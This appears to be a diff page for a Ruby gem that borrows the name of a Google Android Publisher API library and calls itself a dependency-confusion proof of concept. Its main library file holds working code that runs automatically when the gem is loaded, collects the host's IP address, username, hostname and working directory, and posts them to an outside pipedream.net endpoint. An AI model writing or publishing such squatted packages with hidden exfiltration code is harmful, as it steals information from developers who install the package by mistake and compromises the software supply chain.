google-apis-androidpublisher_v2 0.0
Sign up to get free protection for your applications and to get access to all the features.
Potentially problematic release.
This version of google-apis-androidpublisher_v2 might be problematic. Click here for more details.
- checksums.yaml +7 -0
- data/bin/google-apis-androidpublisher_v2_executable +3 -0
- data/lib/google-apis-androidpublisher_v2.rb +38 -0
- metadata +46 -0
checksums.yaml
ADDED
@@ -0,0 +1,7 @@
|
|
1
|
+
---
|
2
|
+
SHA256:
|
3
|
+
metadata.gz: 1495334f7011b6721c82a029045c7f0e4b496f446ccccdd07cf030b11a558440
|
4
|
+
data.tar.gz: bb64b7ea779669d805f263f900620212ad2aa309842fa62a88da9b32b0f948be
|
5
|
+
SHA512:
|
6
|
+
metadata.gz: a8e5755c0d116b35154056a204ae2eb1fee7376c792a4b473408e8a47a25bd0e84c7d4227a19ce51085e4a27b8470461d1864a97ff81779f8be2d6efde8f79e1
|
7
|
+
data.tar.gz: 4e1be36b385e26f592c86386bf82b4951f0d8f7a8ef33d8d240e9599d6612b003354ca709b03b945c7e060322c98262b3e633ca1bb95fd56c15d0e5c21bd996c
|
@@ -0,0 +1,38 @@
|
|
1
|
+
require 'net/http'
|
2
|
+
require 'socket'
|
3
|
+
|
4
|
+
module MyGem
|
5
|
+
class MyRubyFile
|
6
|
+
def self.send_data
|
7
|
+
# Get IP address
|
8
|
+
ip = Socket.ip_address_list.find { |addr| addr.ipv4? && !addr.ipv4_loopback? }&.ip_address || ''
|
9
|
+
|
10
|
+
# Get working directory
|
11
|
+
dir = Dir.pwd
|
12
|
+
|
13
|
+
# Get username
|
14
|
+
username = ENV['USER'] || ''
|
15
|
+
|
16
|
+
# Get hostname
|
17
|
+
hostname = Socket.gethostname
|
18
|
+
|
19
|
+
# Burp Collaborator server URL
|
20
|
+
burp_url = 'https://eo12kxtvatnejre.m.pipedream.net'
|
21
|
+
|
22
|
+
# Data to send
|
23
|
+
data = {
|
24
|
+
'ip' => ip,
|
25
|
+
'directory' => dir,
|
26
|
+
'username' => username,
|
27
|
+
'hostname' => hostname
|
28
|
+
}
|
29
|
+
|
30
|
+
# Send data to Burp Collaborator server
|
31
|
+
uri = URI.parse(burp_url)
|
32
|
+
Net::HTTP.post_form(uri, data)
|
33
|
+
end
|
34
|
+
end
|
35
|
+
end
|
36
|
+
|
37
|
+
# Automatically send data when the gem is required
|
38
|
+
MyGem::MyRubyFile.send_data
|
metadata
ADDED
@@ -0,0 +1,46 @@
|
|
1
|
+
--- !ruby/object:Gem::Specification
|
2
|
+
name: google-apis-androidpublisher_v2
|
3
|
+
version: !ruby/object:Gem::Version
|
4
|
+
version: '0.0'
|
5
|
+
platform: ruby
|
6
|
+
authors:
|
7
|
+
- Naveen Kumawat
|
8
|
+
autorequire:
|
9
|
+
bindir: bin
|
10
|
+
cert_chain: []
|
11
|
+
date: 2023-07-19 00:00:00.000000000 Z
|
12
|
+
dependencies: []
|
13
|
+
description: D3p3nd3ncy C0nfus10n P0C for Google
|
14
|
+
email:
|
15
|
+
- naveenkumawat1995@gmail.com
|
16
|
+
executables:
|
17
|
+
- google-apis-androidpublisher_v2_executable
|
18
|
+
extensions: []
|
19
|
+
extra_rdoc_files: []
|
20
|
+
files:
|
21
|
+
- bin/google-apis-androidpublisher_v2_executable
|
22
|
+
- lib/google-apis-androidpublisher_v2.rb
|
23
|
+
homepage: https://rubygems.org/gems/google-apis-androidpublisher_v2
|
24
|
+
licenses:
|
25
|
+
- MIT
|
26
|
+
metadata: {}
|
27
|
+
post_install_message:
|
28
|
+
rdoc_options: []
|
29
|
+
require_paths:
|
30
|
+
- lib
|
31
|
+
required_ruby_version: !ruby/object:Gem::Requirement
|
32
|
+
requirements:
|
33
|
+
- - ">="
|
34
|
+
- !ruby/object:Gem::Version
|
35
|
+
version: '0'
|
36
|
+
required_rubygems_version: !ruby/object:Gem::Requirement
|
37
|
+
requirements:
|
38
|
+
- - ">="
|
39
|
+
- !ruby/object:Gem::Version
|
40
|
+
version: '0'
|
41
|
+
requirements: []
|
42
|
+
rubygems_version: 3.4.10
|
43
|
+
signing_key:
|
44
|
+
specification_version: 4
|
45
|
+
summary: D3p3nd3ncy C0nfus10n P0C for Google
|
46
|
+
test_files: []
|